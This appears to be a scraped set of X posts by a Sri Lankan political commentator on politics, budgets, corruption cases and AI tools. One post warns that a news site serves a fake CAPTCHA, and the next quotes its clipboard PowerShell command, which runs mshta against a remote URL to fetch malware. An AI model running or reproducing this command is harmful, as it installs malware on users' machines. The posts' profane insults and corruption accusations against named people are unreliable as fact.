"BASL is the GMOA but for lawyers most of whom have no love/respect for "the Law". Retail cloaks. I'll never forget how a friend appeared for "the other side" c2018 or so and majority of Colombo Civil Society legal fraternity shat themselves shunning the person. Cab-rank what The Easter Sunday trial-at-bar continues to sit daily even though defence lawyers representing the accused withdrew earlier this week. All but two of the [--] accused are now without legal representation. https://t.co/3BlRXmq47S The Easter Sunday trial-at-bar continues to sit daily even though defence lawyers representing"
[X Link](https://x.com/anyuser/status/2022572444981301756) 2026-02-14T07:23Z 15.8K followers, [----] engagements
"Laxman Fonseka has taken back the credit card. As a Member of Parliament I am entitled to allocate LKR [--] million of tax payers funds for development projects for the year [----]. As such I will be allocating the total amount for the provision of smart boards and computers for the state school system in order to enhance As a Member of Parliament I am entitled to allocate LKR [--] million of tax payers funds for development projects for the year [----]. As such I will be allocating the total amount for the provision of smart boards and computers for the state school system in order to enhance"
[X Link](https://x.com/anyuser/status/2022572748816715793) 2026-02-14T07:24Z 15.8K followers, [---] engagements
"@IamIsPra The kind of developer who will hardcode API keys"
[X Link](https://x.com/dinidu/status/2022914166244405584) 2026-02-15T06:01Z 15.8K followers, [--] engagements
"Sri Lanka's media industry is one big - something. I don't know what but something. We have @NewsWireLK and we have PulseLine and we have Front Page"
[X Link](https://x.com/anyuser/status/2022919978186691058) 2026-02-15T06:24Z 15.8K followers, [---] engagements
"Sri Lankan rupee hits record low of [------] vs dollar https://www.reuters.com/article/sri-lanka-rupee/sri-lankan-rupee-hits-record-low-of-182-35-vs-dollar-idUSL3N1YW2N8 https://www.reuters.com/article/sri-lanka-rupee/sri-lankan-rupee-hits-record-low-of-182-35-vs-dollar-idUSL3N1YW2N8"
[X Link](https://x.com/dinidu/status/1078876760966520833) 2018-12-29T04:53Z 14.7K followers, [--] engagements
"Sri Lanka rupee gains on dollar sales; Fitch downgrades forecast https://reut.rs/2sZpNND https://reut.rs/2sZpNND"
[X Link](https://x.com/dinidu/status/1090982777858646016) 2019-01-31T14:38Z 14.7K followers, [--] engagements
"@SriCitizen @RWijewardene @PMDNewsGov @MaithripalaS @PresRajapaksa @RW_UNP Article [--] of the constitution which allows for historic laws to continue despite violating the constitution needs to go first. The MMDA (plus other religious/regional/ethnic specific laws) should be abolished as a whole not merely amended or 'reformed'"
[X Link](https://x.com/dinidu/status/1132865033132634117) 2019-05-27T04:24Z 14.8K followers, [--] engagements
"@SriCitizen @RWijewardene @PMDNewsGov @MaithripalaS @PresRajapaksa @RW_UNP The MMDA especially takes away agency of women in the marriage/divorce process. Fundamentally though it's a question about equality before law. Two citizens should not have two different laws in one country"
[X Link](https://x.com/dinidu/status/1132865203148795905) 2019-05-27T04:24Z 14.8K followers, [--] engagements
"Japan urges Sri Lanka to probe war crimes: http://t.co/Fjl71Pdy http://www.google.com/hostednews/afp/article/ALeqM5g8DJh4rbdEK1VJTGwKTX9L8ihrkAdocId=CNG.2831b7d994b8b5098de31416da46b2ef.821 http://www.google.com/hostednews/afp/article/ALeqM5g8DJh4rbdEK1VJTGwKTX9L8ihrkAdocId=CNG.2831b7d994b8b5098de31416da46b2ef.821"
[X Link](https://x.com/dinidu/status/142063824500039682) 2011-12-01T02:13Z 14.7K followers, [--] engagements
"Yohani is truly a Sri Lankan success story - take someone else's song and Edison it then keep milking it till kingdom come"
[X Link](https://x.com/dinidu/status/1586051862662238208) 2022-10-28T17:46Z 14.7K followers, [---] engagements
"I asked Stable Diffusion [---] to imagine what a modern front-engined rear wheel drive sports coupe with sleek long bonnet and simple rear spoiler would look like. I can get on board with this version of future"
[X Link](https://x.com/dinidu/status/1595786272609828865) 2022-11-24T14:27Z 14.7K followers, [--] engagements
"If you think police should have denied the man to burn the Quraan then you're very much in the same camp as those who arrested Nathasha Whatshername for 'insulting Buddhism.' Offence is deeply personal - the State should have no role in enforcing anti-offense laws"
[X Link](https://x.com/dinidu/status/1674427432005431303) 2023-06-30T02:48Z 14.1K followers, 10.9K engagements
"@UmeshMoramudali Perera and Sons with a dash of brandy"
[X Link](https://x.com/dinidu/status/1677947918643507201) 2023-07-10T06:24Z 14.1K followers, [---] engagements
"Few things bring more joy that to see leftist worker unions being hijacked by intellectual elite saviours who've never done a day's worth of manual labour because obv those uneducated labourers can't save themselves without a UK Masters degree. You go you little messiah you"
[X Link](https://x.com/dinidu/status/1677988375607881728) 2023-07-10T01:03Z 14.1K followers, 13.9K engagements
"This is why we need haircuts. 'DDO/DDR' was a politically safe can-kicking exercise which didn't optimise nor restructure debt. We aren't also talking about the MASSIVE state sector and downsizing and overall fiscal discipline. We'll be in square one in fuve years or less"
[X Link](https://x.com/dinidu/status/1678269076328828928) 2023-07-10T05:33Z 14.1K followers, [----] engagements
"Someone call Diana Gamage"
[X Link](https://x.com/anyuser/status/1678272399777894400) 2023-07-10T15:18Z [--] followers, [----] engagements
"It's heartbreaking to see people think I'm not dead serious about my disdain towards the leftist economic movement and assuming I'm merely being facetious. I'm not. After the several-million deaths these people have under their belts I really do want these people to implode"
[X Link](https://x.com/dinidu/status/1678278904803631110) 2023-07-10T05:45Z 14.1K followers, [----] engagements
"@RegularReh Ah fuck"
[X Link](https://x.com/dinidu/status/1678420139992137728) 2023-07-10T15:06Z 14.1K followers, [---] engagements
"Jesus Christ this fuckwit (the guy in the video not Kusum) the son of Howard Nicholas a key architect of Sri Lanka's economic collapse (along with the band of merry morons of eConsult Asia) LOL. Explains the bullshit spew"
[X Link](https://x.com/dinidu/status/1678947873931808771) 2023-07-12T04:30Z 14.1K followers, [----] engagements
"@Goshitha5 @AriffShihab @UN_HRC I don't know. A future President accepting responsibility and admitting that the State was wrong sounds like a bare minimum to start with. But at the same time it also doesn't mean anything if the acceptance of responsibility doesn't come from those responsible (i.e. prev Govt)"
[X Link](https://x.com/dinidu/status/1678988750796333056) 2023-07-12T04:48Z 14.1K followers, [--] engagements
"@Goshitha5 @AriffShihab @UN_HRC But like I said I don't know. I don't think there are (or that there should be) punitive legal avenues available. I also don't know what restitution would really look like. For me it would be a non-recurrence thing but how to do that for a one-off event (pandemic) is complex"
[X Link](https://x.com/dinidu/status/1678989450016063489) 2023-07-12T04:48Z 13.9K followers, [---] engagements
"@Zacchariahshums @AriffShihab @godfreypy1 Letting the state decie what can be said and not said even if the speech is grotesque only leads to misuse and abuse as we have seen over and over. Deeply offensive and even racist speech is the price we pay for being able to criticise evil. I wouldn't want it any other way"
[X Link](https://x.com/dinidu/status/1679156928822276097) 2023-07-12T15:57Z 14K followers, [---] engagements
"@Zacchariahshums @AriffShihab @godfreypy1 I think burning scripture someone holds holy is a grotesque act. It's insensitive wicked and wreaks of an inferiority complex. But I also thinks things that racist bigots find wicked or insensitive - like equality or sexuality - are things that I want to speak up on"
[X Link](https://x.com/dinidu/status/1679157940492681222) 2023-07-12T15:57Z 14.1K followers, [--] engagements
"'We take each of these deaths very seriously and we are working hard to minimise future incidents' is all he needs to say. But repeat the zero-civilian-casualties bullshit for ten years and you lose touch with reality. What a fuckwit. Give your daddy some PR lessons @ChamithriR"
[X Link](https://x.com/dinidu/status/1681462606299824130) 2023-07-19T06:57Z 14.1K followers, 11.9K engagements
"Macron is having a layover in Colombo on the way back from his Pacific visit. This desperate need for approval the PMD shows is well desperate. Our stupid media just puppets and repeats whatever. It's so insignificant a stop that it doesn't even show up on Macron's schedule"
[X Link](https://x.com/dinidu/status/1684497059754516481) 2023-07-27T09:32Z 14.1K followers, [--] engagements
"@DonKula6 @Manjarie Walk into a hospital and see the shortage"
[X Link](https://x.com/dinidu/status/1687943089162240000) 2023-08-05T21:46Z 14.1K followers, [--] engagements
"@fruity_thief @Manjarie Who'd you rather have operating on you 1) A student who got AAB at ALs from Colombo who didn't get into med school in Sri Lanka because of the Z score who studied medicine in China. 2) A student from Monaragala who got ABB and got into med school at Ragama"
[X Link](https://x.com/dinidu/status/1688305226883682304) 2023-08-06T21:48Z 14.1K followers, [--] engagements
"How does this work Let me explain. Remember the operative term being well-run. He would need a reason to run. He has one already (narcissism). His second can be legacy building (away from 'corrupt'). For either of these he needs a campaign on his own (not a coalition)"
[X Link](https://x.com/dinidu/status/1694323144927097063) 2023-08-23T12:18Z 14.1K followers, [---] engagements
"Say he fails to deliver (likely). It comes a few years too late but we'll get over our collective hard on for business-types and narcissistic strongmen. We also probably end up further trimming the Executive Presidency. Good"
[X Link](https://x.com/dinidu/status/1694323159112302619) 2023-08-23T12:18Z 14.7K followers, [--] engagements
"@GloriaXFiles Your move @DulithHerath + @sanjiva. We're owed it"
[X Link](https://x.com/dinidu/status/1695341320405971339) 2023-08-26T07:44Z 14.6K followers, [---] engagements
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@dinidu Dinidu de Alwis
Dinidu de Alwis posts on X about sri lanka, sri, money, npp the most. They currently have [-------] followers and [----] posts still getting attention that total [-------] engagements in the last [--] hours.
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- [--] Months [---] -6.90%
- [--] Year [---] +9.10%
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- [--] Week [------] +0.03%
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Social Influence
Social category influence countries finance technology brands automotive brands travel destinations stocks celebrities social networks gaming currencies
Social topic influence sri lanka, sri, money, npp, countries, india, tariffs, china, byd, prime minister
Top assets mentioned Alphabet Inc Class A (GOOGL)
Top Social Posts
Top posts by engagements in the last [--] hours
"If Fitch S&P and Moodys says you're a shitty date maybe you're the problem Cubs"
X Link 2021-12-18T09:15Z 15.8K followers, [--] engagements
"@ksoze84 Nope just checked"
X Link 2022-04-28T07:21Z 15.8K followers, [--] engagements
"The Island - - website is compromised and it gives this prompt to 'verify' and a malicious script is copied to the clipboard (see below) which will then install a malicious programme onto your computer. Can't be bothered to set up a VM and run it. http://island.lk http://island.lk"
X Link 2025-02-14T07:22Z 14.9K followers, [----] engagements
"powershell -w [--] -C -ClassName Win32_Process -MethodName Create -Arguments @CommandLine=('ms' + 'hta' + '.exe '+$l)" # ✅ ''I am not a robot: CAPTCHA Verification UID: 7811'' " https://atariq.shop/sports.mp4';Invoke-CimMethod https://atariq.shop/sports.mp4';Invoke-CimMethod"
X Link 2025-02-14T07:22Z 14.9K followers, [---] engagements
"A consulting company (with registered offices inside a Hong Kong storage facility) that was hired to advice PM Wickremesinghe in [----] was paid more than US$100000 including upto three weeks after the visit concluded documents obtained through information requests showed. (1/4) Then Prime Minister @RW_SRILANKA ha sought (and received) Cabinet Approval for $65000 for a China-consultant. This was missing from the Cabinet briefing likely intentionally hid. Then Cabinet Spokesperson Gayantha K is now in the SJB. Both him and RW should be answerable. https://t.co/i70cbTAv5s Then Prime Minister"
X Link 2025-02-14T11:13Z 14.9K followers, 10.7K engagements
"The Cabinet Committee of Economic Management (CCEM) was informed on [--] March [----] by the Minister of Development Strategies and International Trade (Malik S) of the decision to hire Northern Star Consulting Corporation Limited from [--] March to [--] April [----] (2/4)"
X Link 2025-02-14T11:13Z 14.9K followers, [---] engagements
"In #budget2025 AKD takes a tonne of credit for the ground work done by Governor/CBSL and Treasury Secretary.; but rightly gives credit to the IMF. Thankfully weren't reversed by the NPP"
X Link 2025-02-17T05:11Z 14.9K followers, [----] engagements
"Shooting off the regional economic development buzzwords about SMEs and agriculture - again to remember that commercial vehicles are taxed at 300%+ like every other government did. Meaningless rhetoric if not matched by policy changes"
X Link 2025-02-17T05:22Z 14.9K followers, [---] engagements
"Aims to achieve 5% y/y GDP growth in 2025"
X Link 2025-02-17T05:23Z 14.9K followers, [---] engagements
"Simple low-cost things that make a long term difference - seperate transport for juvenile offenders to/from courts and holding institutions"
X Link 2025-02-17T06:35Z 14.9K followers, [---] engagements
"Pilot project to get three public transport corridors to get [---] (Kottawa Wattala Moratuwa Kadwatha) low-floor luxury buses"
X Link 2025-02-17T06:48Z 14.9K followers, [---] engagements
"Today's entertainment brought to you by in-house climate activist Melani G celebrating 'farmer independence' through a farmer union funded by Kellogg"
X Link 2025-02-23T12:57Z 14.9K followers, [----] engagements
"@yudhanjaya Sure this is 3X price but also prove platform and actual 4x4"
X Link 2025-06-01T14:02Z 15.8K followers, [---] engagements
"Who wants to tell him about the Roman Catholic Church Relativist morality 👇 logic for thee it doesnt take rocket science to understand that having sex is without protection may lead to unwanted pregnancy. Last time I saw none of these religions were trying to illegalize any forms of contraception. https://t.co/nRIYqmrqpq Relativist morality 👇 logic for thee it doesnt take rocket science to understand that having sex is without protection may lead to unwanted pregnancy. Last time I saw none of these religions were trying to illegalize any forms of contraception. https://t.co/nRIYqmrqpq"
X Link 2025-07-19T09:00Z 15.8K followers, [---] engagements
". files at Parliament for the Office of the Leader of the Opposition. Two years of effort by a colossaly corrupt politician's attempt to undermine and prevent transparency is slowly being dismantled. Sajith Premadasa's personal political dark money spend is still very much"
X Link 2025-08-13T15:07Z 15.7K followers, [---] engagements
". in my crosshairs. Close to 300mn of the 1bn for which he didn't want accountability is now being scrutinised. Police should investigate the 300mn CCF funds misspend and potential embezzlement. Then it's the bus money that's left to trace"
X Link 2025-08-13T15:07Z 15.7K followers, [---] engagements
"This. Misuse of 16mn is a misuse of 16mn regardless of who or how it happened. 2/n gov should stop saying it's going after him because he made expensive transit - this is safe but looks terribly petty - and explain like Bimal this is about the larger crimes they believe (showing evidence for this). A harder narrative to defend but more inclusive 2/n gov should stop saying it's going after him because he made expensive transit - this is safe but looks terribly petty - and explain like Bimal this is about the larger crimes they believe (showing evidence for this). A harder narrative to defend"
X Link 2025-08-26T01:11Z 15.8K followers, [----] engagements
"There seems to be some confusion about whether I backed the arrest or not so let me clarify. I did and still do back the arrest. There appears a reasonable suspicion that just over Rs 16mn would have been used for personal travel and expensed to the state. There are rules. This breaks my heart. Most of my adult life I supported him thinking he was a champion of classical liberalism that he will protect constitutionalim and that he holds parliament sacrosanct. Those beliefs were chipped away by reality over the years. I wanted him to. (1/3 ) https://t.co/KJVfEnU2rl This breaks my heart. Most"
X Link 2025-08-26T13:25Z 15.8K followers, [----] engagements
"Remember Sajith has over 300mn Central Cultural Fund money to account for. Opposition leader Sajith Premadasa has reportedly been summoned before the Bribery Commission over a complaint that government funds were used to renovate the UNP headquarters Sirikotha Newsfirst reported. D: https://t.co/EkQ6I6zXwF https://t.co/toEaMSIHUJ Opposition leader Sajith Premadasa has reportedly been summoned before the Bribery Commission over a complaint that government funds were used to renovate the UNP headquarters Sirikotha Newsfirst reported. D: https://t.co/EkQ6I6zXwF https://t.co/toEaMSIHUJ"
X Link 2025-09-04T07:52Z 15.7K followers, [----] engagements
"Total 15/33 passengers have died when the bus they were in fell down a precipice in Ella late last night or early this morning. The passengers were from a state institution from Tangalle and were on a staff family trip. The dead include several children. https://www.newswire.lk/2025/09/05/ella-bus-accident-driver-of-the-suv-arrested/ https://www.newswire.lk/2025/09/05/ella-bus-accident-driver-of-the-suv-arrested/"
X Link 2025-09-05T04:38Z 15.8K followers, 30.2K engagements
"OpenRouter has two new cloaked models one with a 2M context window #Gemini3"
X Link 2025-09-06T00:45Z 15.8K followers, [---] engagements
"Oh fuck off uncle in a dress. We cannot accept this. What works well in Western countries doesnt necessarily suit Sri Lanka. We have our own culture systems and values that deserve respect. Thats why we urge education authorities not to obstruct the tendency to instill respect love and devotion in https://t.co/8WjxtoRZDE We cannot accept this. What works well in Western countries doesnt necessarily suit Sri Lanka. We have our own culture systems and values that deserve respect. Thats why we urge education authorities not to obstruct the tendency to instill respect love and devotion in"
X Link 2025-10-10T12:49Z 15.8K followers, [----] engagements
"OOFT JKH is having a bad few months in terms of public trust. BYD Recalls Over [------] Cars Due to Design Battery Issues D: https://t.co/rLEfUcTmtC https://t.co/55bEXDDDcN BYD Recalls Over [------] Cars Due to Design Battery Issues D: https://t.co/rLEfUcTmtC https://t.co/55bEXDDDcN"
X Link 2025-10-18T05:23Z 15.8K followers, [----] engagements
"Most of Sri Lanka's industries are headed by bullshit artistes selling snake oil. I've come to realise that the people who actually are decent in sectors like sci-tech quietly do their own thing and quietly stay in their own corners lest they be tainted by 'thought leaders. In general this AI effort is too infested with the types of people who want desperately to be opinion-makers and thought leaders but who can't actually do the work: whose knowledge stretches no further than a LinkedIn post. I had expected most to be winnowed out by this time. In general this AI effort is too infested with"
X Link 2025-10-18T07:14Z 15.8K followers, [----] engagements
"The misfortune is that free stuff isn't thought of as 'good' which would also explain why Sri Lanka's Wikipedia community is also toxic as fuck. I've created a tool to provide rapid analysis of draft laws to support civil society to challenge problematic bits at Supreme Court"
X Link 2025-10-18T07:24Z 15.8K followers, [---] engagements
"For those who don't know - Sri Lanka's lawmaking is extremely opaque. Once a draft is put into the Order Paper people can challenge parts within [--] days (not working days but days). This means bad-faith actors can bring in laws in April with minimal oversight"
X Link 2025-10-18T07:24Z 15.8K followers, [---] engagements
"@sujatagamage Scrapping the amendment will be construed as not-tacit approval of corporal punishment. Now that this cat is out of the bag the government absolutely can not withdraw. To assume/imagine that a portion of teachers will look at it as a free pass is naive"
X Link 2025-10-18T07:32Z 15.8K followers, [---] engagements
"My below tweet was quoting a news item about BYD doing a safety related recall for a bunch of cars from 2015-2022. I urge you to read its replies because turns out we're living in a fully rational society where people read all statements in full where I'm a harbinger of doom. OOFT JKH is having a bad few months in terms of public trust. OOFT JKH is having a bad few months in terms of public trust"
X Link 2025-10-18T16:41Z 15.8K followers, [---] engagements
"Those in the government . are engaged in suppressing the rights of teachers and parents to guide children on the right path. We oppose this move by the government which prevents the emergence of good citizens in the country Premadasa said during a public gathering. Opposition Leader Sajith Premadasa today questioned whether members of the government are suffering from distorted minds. Those in the government seem to be suffering from distorted minds as they are engaged in suppressing the rights of teachers and parents to guide children on https://t.co/prrPFPdSVu Opposition Leader Sajith"
X Link 2025-10-18T16:45Z 15.8K followers, [----] engagements
"Having considered the varied feedback especially about what to do in case of a perimeter breach I suppose we've got to look to other places. I'm not too keen on islands mostly cos inland at flood mercy and offshore can't grow anyting. But maybe then Delft Can land a plane. I've been thinkin about it (as one does) and I've concluded that Sigiriya is the best place to survive and counter a Zombie horde. Some of the islands may work (like Barberyn Island in Beruwala) but Sigiriya also has access to farmable soil in addition to the security. I've been thinkin about it (as one does) and I've"
X Link 2025-10-22T00:04Z 15.8K followers, [----] engagements
"Here's a quick and dirty Nano Banana illustration on basic fortifications and an airstrip"
X Link 2025-10-22T00:07Z 15.8K followers, [---] engagements
"This is handing China the ASI victory. US right-wing media figures tech pioneers call for superintelligent AI ban https://t.co/iZBAFX5MWz https://t.co/iZBAFX5MWz US right-wing media figures tech pioneers call for superintelligent AI ban https://t.co/iZBAFX5MWz https://t.co/iZBAFX5MWz"
X Link 2025-10-22T09:49Z 15.8K followers, [---] engagements
"Pilgrims at Hindu festival at a Sri Lankan Buddhist temple dancing to a Kawadi version of an Arabic song praising the Prophet originally by an Ivorian Rastafarian reggae artist from France who has a Literature Degree from Columbia is peak. something. https://www.youtube.com/watchv=V8QuPnITSpc https://www.youtube.com/watchv=V8QuPnITSpc"
X Link 2025-10-23T04:31Z 15.8K followers, [----] engagements
"Lady Gaga is such a fucking class act"
X Link 2025-10-24T14:29Z 15.8K followers, [---] engagements
"I'd love to know how they plan on enforcing this. Sri Lanka to ban smartphone use by children under [--] Minister https://t.co/9s6uVpfGOQ Sri Lanka to ban smartphone use by children under [--] Minister https://t.co/9s6uVpfGOQ"
X Link 2025-10-27T08:03Z 15.8K followers, [----] engagements
"I've finally created an information request generator for RTI requests. When you type in in simple language what information you want to find the app will draft a full request and suggest the best public authority you can submit it to. https://sri-lanka-rti-request-generator-532382191194.us-west1.run.app/ https://sri-lanka-rti-request-generator-532382191194.us-west1.run.app/"
X Link 2025-10-30T12:52Z 15.8K followers, [----] engagements
"People who should not be allowed to make movies. 1) M. Night Shyamalan 2) Wes Anderson That's it. That's the list"
X Link 2025-11-01T14:11Z 15.8K followers, [----] engagements
"@chef_john1 "Oh look I found a light pastel colour palette and I know how do move a camera sideways so I'm going to make it my entire personality" is NOT artistic inspiration"
X Link 2025-11-02T00:03Z 15.8K followers, [---] engagements
"Gets delivered to your direct email inbox rain or shine every single day (even on Sundays and public holidays). On days that I've got power outages (which is rare) the thing gets delayed (obv) since I also live in a mobile-data deadzone. But other than that a 99% send-rate"
X Link 2025-11-02T05:52Z 15.8K followers, [---] engagements
"The idea is to filter out rando press conferences useless 'breaking news' and Udaya Gammanpila saying he's going to get arrested. Takes from about [--] different sources (including Sinhala and Tamil). It's like a cheat-sheet of things that happened to face the day informed"
X Link 2025-11-02T05:54Z 15.8K followers, [---] engagements
"The #2026BudgetLK actual budget speech is scheduled for Friday [--] November. In the interim here's a tabulated comparison of the proposals for [----] and the [----] estimates (2025 actuals will obv differ). It's a very disciplined budget at a headline-level. https://docs.google.com/spreadsheets/d/16Ql3ICNWFPlEeONvr2tYHUPV2unH6rHxaT7MH-EBWA8/editusp=sharing https://docs.google.com/spreadsheets/d/16Ql3ICNWFPlEeONvr2tYHUPV2unH6rHxaT7MH-EBWA8/editusp=sharing"
X Link 2025-11-02T13:45Z 15.8K followers, [----] engagements
"It is a 5.12% (+4.51% recexe +6.47% capex) increase y/y which is extremely decent. Highlight increases are for some District Secretariats (Batti +47.99%; Badulla +42.67% Nuwara Eliya +38.39%); Met (188.77%) and Trade and Investment Policy (+728.97%) Depts"
X Link 2025-11-02T13:45Z 15.8K followers, [---] engagements
"Office of the PM gets a 160.7% boost (an extra Rs [---] mn) which isn't too healthy but nothing compared to the 32.74% boost for the Buddhasasana Dept (Rs [-----] bn). However also healthy boosts to targetted poverty-alleviation esp in Easte and Uva"
X Link 2025-11-02T13:45Z 15.8K followers, [---] engagements
"Education gets Rs 20bn more and Health (bundled with Media) gets Rs 38bn more. Transport (bundled with highways and ports) gets a Rs [--] bn chop (-11.57%). Police gets a 9.78% boost (Rs [--] bn) and Customs 18.79% (Rs [-----] bn) highlighting the revenue and anti-narc priority"
X Link 2025-11-02T13:45Z 15.8K followers, [---] engagements
"Sri Lanka has seven Baobab trees: two in Mannar two in Delft one in Pomparippu one in Pungudutivu and one in Jaffna. I don't know how I don't know why. But we have seven. I'd love to know the how and the why but I don't think I'll ever get answers"
X Link 2025-11-03T06:06Z 15.8K followers, [----] engagements
"With the addition of Samaposha the always-up-to-date list is now upto [---]. https://dinidu.medium.com/the-always-updated-list-of-sri-lankan-underworld-figures-ac51e289226e https://dinidu.medium.com/the-always-updated-list-of-sri-lankan-underworld-figures-ac51e289226e"
X Link 2025-11-03T08:03Z 15.8K followers, [----] engagements
"As the generative models keep getting better my use of video and image models has gone down because the novelty wearing off. However LLM usage has grown heavily mainly for agentic tasks categorisations et cetera. Text-generation has gone down (from the very little there was)"
X Link 2025-11-04T03:28Z 15.8K followers, [---] engagements
"Fox News artist's depiction of New York City c2030 colourised"
X Link 2025-11-05T04:01Z 15.8K followers, [----] engagements
"You can only call them Tamil if they originate from the Tamil region of Jaffna. Otherwise it's actually sparkling wine. @wickramage Who said anything about upcountry Tamils here And who said Colombo chettys werent Tamil. Learn to fucking read lol. The point is he wasnt raised as a Jaffna Tamil @wickramage Who said anything about upcountry Tamils here And who said Colombo chettys werent Tamil. Learn to fucking read lol. The point is he wasnt raised as a Jaffna Tamil"
X Link 2025-11-06T00:31Z 15.8K followers, [----] engagements
"Chuuwa Samantha (no relation to TN Sunil before you ask @GehanDG) is the newest addition to the list. https://dinidu.medium.com/the-always-updated-list-of-sri-lankan-underworld-figures-ac51e289226e https://dinidu.medium.com/the-always-updated-list-of-sri-lankan-underworld-figures-ac51e289226e"
X Link 2025-11-06T01:13Z 15.8K followers, [---] engagements
"Who's going to pay for this Government to Recruit [-----] Personnel to Public Service Details: https://t.co/MzypVXvlGA #NewsFirst #News1st #NewsFirstEnglish #LKA #SriLanka #LatestNews #government #recruitment #publicservice Government to Recruit [-----] Personnel to Public Service Details: https://t.co/MzypVXvlGA #NewsFirst #News1st #NewsFirstEnglish #LKA #SriLanka #LatestNews #government #recruitment #publicservice"
X Link 2025-11-06T03:30Z 15.8K followers, [----] engagements
"Looking at how often we're running to the police to save us from the mean people who said mean things it's almost like Sri Lankan civil society hasn't seen every single time hate speech laws in this country were weaponised. It's like we never learn. We are all normal people; we don't need to wear a badge saying LGBTQ. We are against hate speech against the LGBTQ community. If they have a political issue they should resolve it in another way Sri Lankan LGBTQ rights activist Chanu Nimesha said after filing a complaint https://t.co/IzifBz92Nn We are all normal people; we don't need to wear a"
X Link 2025-11-06T03:38Z 15.8K followers, [----] engagements
"Throwback to one of THE BEST budgets we'd seen in Sri Lanka (2018 - which resulted in a 0.6% primary surplus) the fundamentals of which were shat on by subsequent governments dragging us to an economic crisis. Final draft of [----] Budget Proposal reviewed by President https://t.co/QmM0xj24Ox Final draft of [----] Budget Proposal reviewed by President https://t.co/QmM0xj24Ox"
X Link 2025-11-06T05:48Z 15.7K followers, [----] engagements
"As much as I like to poke at the SEC's account this is important. Bubbles burst hype dies down. Very few companies will No Man's Sky themselves (if at all); most end up being Battlefield [----]. It's always better to Satisfactory or Witcher [--]. Life doesn't give refunds. 🚨Avoid the Hype Chasing popular or hot stocks can be risky. Just because a stock is trending doesnt mean its a good investment. Prices can rise quickly due to hype but they can fall just as fast. Instead focus on companies with strong fundamentals like steady earnings 🚨Avoid the Hype Chasing popular or hot stocks can be risky."
X Link 2025-11-07T04:01Z 15.7K followers, [---] engagements
"That's not how cancers work and that's not how fucking statistics work. We're so collectively fucking stupid when it comes to science as a country. Also why is a psychiatrist being interviewed about cancer Next up: my proctologist weighs in about why my eyesight is bad. Even a single drop of alcohol can harm your brain and just one cigarette can cause cancer says Consultant Psychiatrist Prof. Amila Isuru. 🧠🚭 Think twice before lighting up or drinking your health isnt worth the risk. https://t.co/H4aX1x4kb7 Even a single drop of alcohol can harm your brain and just one cigarette can cause"
X Link 2025-11-10T00:37Z 15.8K followers, [----] engagements
"Ramith Rambukwella indicted for Rs. [---] mn in illicit assets; Maldivian authorities seize Sri Lankan trawler with 355kg of narcotics; Mattala Airport loss Rs. [-----] billion since 2018; NPP faces mixed results passing its first local council budgets. https://www.patreon.com/posts/npp-led-local-12-143378964utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link https://www.patreon.com/posts/npp-led-local-12-143378964utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link"
X Link 2025-11-12T01:04Z 15.8K followers, [----] engagements
"I've made changes to the information request generator (the tool that helps you create RTI requests from public authorities). To be clear - it does NOT record any data. Been wanting to know about a Minister's vehicle usage or staff hire Now's the change. https://sri-lanka-rti-request-generator-532382191194.us-west1.run.app/ https://sri-lanka-rti-request-generator-532382191194.us-west1.run.app/"
X Link 2025-11-12T23:09Z 15.8K followers, [----] engagements
"Oh fuck off Malcolm"
X Link 2025-11-15T14:19Z 15.8K followers, [----] engagements
"Cabinet approves bill to abolish MP pensions; Sri Lanka signs debt deal with Denmark; amendments approved to allow women to work night shifts; Gambling Regulatory Authority Act set for December implementation; GMOA continues strike and more. https://www.patreon.com/posts/mp-pensions-debt-143894678utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link https://www.patreon.com/posts/mp-pensions-debt-143894678utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link"
X Link 2025-11-19T01:17Z 15.8K followers, [---] engagements
"@grok @sieugalp @shanaka86 Will it be the same with X AI"
X Link 2025-11-19T01:17Z 15.7K followers, [---] engagements
"Quite happy (for a change) about the queen of the night (E. oxypetalum not S. grandiflorus) going bloom bloom last night. And yes it also rained heavily last night and yes the garden does need work. But look at the flowers and how pretty they are"
X Link 2025-11-19T02:11Z 15.7K followers, [----] engagements
"Navy seizes 300kg of heroin and 100kg of meth at sea leading to the arrest of a former SJB councillor; AG tell court former President Wickremesinghe will be prosecuted soon; Inland Revenue records Rs 2tn tax collection and more: https://ww.patreon.com/posts/opposition-deal-144046189utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link https://ww.patreon.com/posts/opposition-deal-144046189utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link"
X Link 2025-11-21T00:48Z 15.7K followers, [---] engagements
"That's an average amount of rain right I mean that's not a little rain or what you would call small rain Right RIGHT Above [--] mm of rain expected in some areas today https://t.co/izLUY96ZJf Above [--] mm of rain expected in some areas today https://t.co/izLUY96ZJf"
X Link 2025-11-21T03:58Z 15.8K followers, [---] engagements
"Using Google AI Studio to build is crafting prompt about what you need for half an hour and then hitting retry [----] times an "Internal Error" occurs"
X Link 2025-11-21T03:59Z 15.8K followers, [---] engagements
"I've fully redone the RTI request generator to be more helpful + also trilingual. It now explains (if you want only) what each step means basically walking you through. It has the weird URL because It's a virus (no it's not: I'm not spending anything.) https://copy-of-looking-glass-178996976722.us-west1.run.app/ I've made changes to the information request generator (the tool that helps you create RTI requests from public authorities). To be clear - it does NOT record any data. Been wanting to know about a Minister's vehicle usage or staff hire Now's the change. https://t.co/800qiFZDfc"
X Link 2025-11-21T05:13Z 15.7K followers, [----] engagements
"This is honestly an exercise of anger at everybody especially the Government about the sorry state the RTI structure in Sri Lanka is. The law is REALLY FUCKING STRONG but is let down by an under-resourced RTI Commission (which also runs on their own made-up rules)"
X Link 2025-11-21T05:13Z 15.8K followers, [--] engagements
"The Government plans to trim the law's powers: I'm looking forward to hearing what the SJB has to say during this considering Sajith has been hiding behind legal ambiguities. He's also forcing @ParliamentLK to not provide his pay sheets because - well - that's what he is"
X Link 2025-11-21T05:13Z 15.8K followers, [---] engagements
"This is the kind of thing that development agencies should be doing but let's not even open that fish kettle because Jesus fuck. So yeah. This will have longevity if anyone wants to throw a GCP API key at me for Gemini [--] Pro (at the mo) and Google Places. If not well shit"
X Link 2025-11-21T05:13Z 15.8K followers, [--] engagements
"If the Sinhala or the Tamil is too formal or incorrect - I DON'T FUCKING CARE. I do shit because I'm angry or because and that doesn't extend to actual translating a full UI. Although the code will be up on GitHub if anyone wants to fix any issues and push"
X Link 2025-11-21T05:13Z 15.8K followers, [--] engagements
